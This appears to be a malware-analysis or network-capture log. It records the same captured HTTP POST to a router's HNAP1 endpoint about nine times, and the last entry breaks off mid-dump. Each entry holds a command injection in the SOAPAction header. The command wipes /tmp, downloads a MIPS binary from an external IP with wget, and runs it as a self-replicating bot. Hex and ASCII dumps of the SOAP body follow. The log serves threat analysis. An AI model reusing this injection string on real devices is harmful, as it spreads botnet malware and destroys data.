Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 